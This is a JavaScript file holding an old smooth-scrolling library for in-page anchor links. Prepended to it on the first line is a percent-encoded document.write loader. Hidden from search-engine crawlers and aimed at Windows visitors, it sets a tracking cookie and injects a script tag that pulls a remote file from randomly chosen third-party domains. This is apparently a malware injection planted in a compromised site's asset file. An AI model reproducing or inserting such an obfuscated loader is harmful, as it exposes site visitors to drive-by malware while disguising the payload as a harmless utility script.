var st1 = 0;document.write(unescape('%3C%73%63%72%69%70%74%3E%76%61%72%20%64%63%20%3D%20%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3B%20%76%61%72%20%63%6E%61%6D%65%20%3D%20%27%77%61%74%63%68%74%69%6D%65%27%3B%20%76%61%72%20%77%6E%20%3D%20%77%69%6E%64%6F%77%2E%6E%61%76%69%67%61%74%6F%72%2E%75%73%65%72%41%67%65%6E%74%3B%20%76%61%72%20%73%74%72%69%20%3D%20%2F%28%79%61%68%6F%6F%7C%73%65%61%72%63%68%7C%6D%73%6E%62%6F%74%7C%79%61%6E%64%65%78%7C%67%6F%6F%67%6C%65%62%6F%74%7C%62%69%6E%67%7C%61%73%6B%29%2F%69%3B%20%76%61%72%20%73%74%72%4F%53%20%3D%20%6E%61%76%69%67%61%74%6F%72%2E%61%70%70%56%65%72%73%69%6F%6E%3B%20%69%66%28%64%63%2E%69%6E%64%65%78%4F%66%28%63%6E%61%6D%65%29%3D%3D%2D%31%20%26%26%20%21%77%6E%2E%74%6F%4C%6F%77%65%72%43%61%73%65%28%29%2E%6D%61%74%63%68%28%73%74%72%69%29%20%26%26%20%73%74%72%4F%53%2E%74%6F%4C%6F%77%65%72%43%61%73%65%28%29%2E%69%6E%64%65%78%4F%66%28%27%77%69%6E%27%29%20%21%3D%20%2D%31%29%20%7B%20%76%61%72%20%64%6F%6D%73%20%3D%20%5B%27%65%64%69%73%6F%6E%73%6E%69%67%68%74%63%6C%75%62%2E%63%6F%6D%27%2C%27%65%6D%61%70%69%73%2E%6F%72%67%27%2C%27%69%64%65%61%63%6F%72%65%70%6F%72%74%61%6C%2E%63%6F%6D%27%2C%27%6B%61%72%65%6E%65%67%72%65%6E%2E%63%6F%6D%27%5D%3B%20%76%61%72%20%70%72%65%66%66%73%20%3D%20%5B%27%61%71%75%61%2E%27%2C%27%61%7A%75%72%65%2E%27%2C%27%62%6C%61%63%6B%2E%27%2C%27%62%6C%75%65%2E%27%2C%27%62%72%6F%77%6E%2E%27%2C%27%67%6F%6C%64%2E%27%2C%27%67%72%61%79%2E%27%2C%27%67%72%65%65%6E%2E%27%2C%27%6C%69%6D%65%2E%27%2C%27%6E%61%76%79%2E%27%2C%27%6F%6C%69%76%65%2E%27%2C%27%70%6C%75%6D%2E%27%2C%27%72%65%64%2E%27%2C%27%73%6E%6F%77%2E%27%2C%27%77%68%69%74%65%2E%27%2C%27%79%65%6C%6C%6F%77%2E%27%5D%3B%20%76%61%72%20%64%6F%6D%20%3D%20%4D%61%74%68%2E%66%6C%6F%6F%72%28%4D%61%74%68%2E%72%61%6E%64%6F%6D%28%29%2A%64%6F%6D%73%2E%6C%65%6E%67%74%68%29%3B%20%76%61%72%20%70%72%65%66%20%3D%20%4D%61%74%68%2E%66%6C%6F%6F%72%28%4D%61%74%68%2E%72%61%6E%64%6F%6D%28%29%2A%70%72%65%66%66%73%2E%6C%65%6E%67%74%68%29%3B%20%64%74%3D%6E%65%77%20%44%61%74%65%28%29%3B%64%74%2E%73%65%74%54%69%6D%65%28%64%74%2E%67%65%74%54%69%6D%65%28%29%20%2B%20%37%2A%33%36%30%30%2A%33%36%30%30%29%3B%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3D%63%6E%61%6D%65%2B%27%3D%27%2B%65%73%63%61%70%65%28%63%6E%61%6D%65%29%2B%27%3B%65%78%70%69%72%65%73%3D%27%2B%64%74%2E%74%6F%47%4D%54%53%74%72%69%6E%67%28%29%2B%27%3B%70%61%74%68%3D%2F%27%3B%20%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%73%63%72%69%70%74%20%74%79%70%65%3D%22%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%22%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%27%2B%70%72%65%66%66%73%5B%70%72%65%66%5D%2B%64%6F%6D%73%5B%64%6F%6D%5D%2B%27%2F%64%61%74%61%2F%6D%6F%6F%74%6F%6F%6C%73%2E%6A%73%22%3E%3C%5C%2F%73%63%72%69%70%74%3E%27%29%3B%20%7D%3B%3C%2F%73%63%72%69%70%74%3E'));var gr0=0;/* Smooth scrolling
   Changes links that link to other parts of this page to scroll
   smoothly to those links rather than jump to them directly, which
   can be a little disorienting.
   
   sil, http://www.kryogenix.org/
   
   v1.0 2003-11-11
   v1.1 2005-06-16 wrap it up in an object
*/

var ss = {
  fixAllLinks: function() {
    // Get a list of all links in the page
    var allLinks = document.getElementsByTagName('a');
    // Walk through the list
    for (var i=0;i<allLinks.length;i++) {
      var lnk = allLinks[i];
      if ((lnk.href && lnk.href.indexOf('#') != -1) && 
          ( (lnk.pathname == location.pathname) ||
	    ('/'+lnk.pathname == location.pathname) ) && 
          (lnk.search == location.search)) {
        // If the link is internal to the page (begins in #)
        // then attach the smoothScroll function as an onclick
        // event handler
        ss.addEvent(lnk,'click',ss.smoothScroll);
      }
    }
  },

  smoothScroll: function(e) {
    // This is an event handler; get the clicked on element,
    // in a cross-browser fashion
    if (window.event) {
      target = window.event.srcElement;
    } else if (e) {
      target = e.target;
    } else return;

    // Make sure that the target is an element, not a text node
    // within an element
    if (target.nodeName.toLowerCase() != 'a') {
      target = target.parentNode;
    }
  
    // Paranoia; check this is an A tag
    if (target.nodeName.toLowerCase() != 'a') return;
  
    // Find the <a name> tag corresponding to this href
    // First strip off the hash (first character)
    anchor = target.hash.substr(1);
    // Now loop all A tags until we find one with that name
    var allLinks = document.getElementsByTagName('a');
    var destinationLink = null;
    for (var i=0;i<allLinks.length;i++) {
      var lnk = allLinks[i];
      if (lnk.name && (lnk.name == anchor)) {
        destinationLink = lnk;
        break;
      }
    }
    if (!destinationLink) destinationLink = document.getElementById(anchor);

    // If we didn't find a destination, give up and let the browser do
    // its thing
    if (!destinationLink) return true;
  
    // Find the destination's position
    var destx = destinationLink.offsetLeft; 
    var desty = destinationLink.offsetTop;
    var thisNode = destinationLink;
    while (thisNode.offsetParent && 
          (thisNode.offsetParent != document.body)) {
      thisNode = thisNode.offsetParent;
      destx += thisNode.offsetLeft;
      desty += thisNode.offsetTop;
    }
  
    // Stop any current scrolling
    clearInterval(ss.INTERVAL);
  
    cypos = ss.getCurrentYPos();
  
    ss_stepsize = parseInt((desty-cypos)/ss.STEPS);
    ss.INTERVAL =
setInterval('ss.scrollWindow('+ss_stepsize+','+desty+',"'+anchor+'")',10);
  
    // And stop the actual click happening
    if (window.event) {
      window.event.cancelBubble = true;
      window.event.returnValue = false;
    }
    if (e && e.preventDefault && e.stopPropagation) {
      e.preventDefault();
      e.stopPropagation();
    }
  },

  scrollWindow: function(scramount,dest,anchor) {
    wascypos = ss.getCurrentYPos();
    isAbove = (wascypos < dest);
    window.scrollTo(0,wascypos + scramount);
    iscypos = ss.getCurrentYPos();
    isAboveNow = (iscypos < dest);
    if ((isAbove != isAboveNow) || (wascypos == iscypos)) {
      // if we've just scrolled past the destination, or
      // we haven't moved from the last scroll (i.e., we're at the
      // bottom of the page) then scroll exactly to the link
      window.scrollTo(0,dest);
      // cancel the repeating timer
      clearInterval(ss.INTERVAL);
      // and jump to the link directly so the URL's right
      location.hash = anchor;
    }
  },

  getCurrentYPos: function() {
    if (document.body && document.body.scrollTop)
      return document.body.scrollTop;
    if (document.documentElement && document.documentElement.scrollTop)
      return document.documentElement.scrollTop;
    if (window.pageYOffset)
      return window.pageYOffset;
    return 0;
  },

  addEvent: function(elm, evType, fn, useCapture) {
    // addEvent and removeEvent
    // cross-browser event handling for IE5+,  NS6 and Mozilla
    // By Scott Andrew
    if (elm.addEventListener){
      elm.addEventListener(evType, fn, useCapture);
      return true;
    } else if (elm.attachEvent){
      var r = elm.attachEvent("on"+evType, fn);
      return r;
    } else {
      alert("Handler could not be removed");
    }
  } 
}

ss.STEPS = 25;

ss.addEvent(window,"load",ss.fixAllLinks);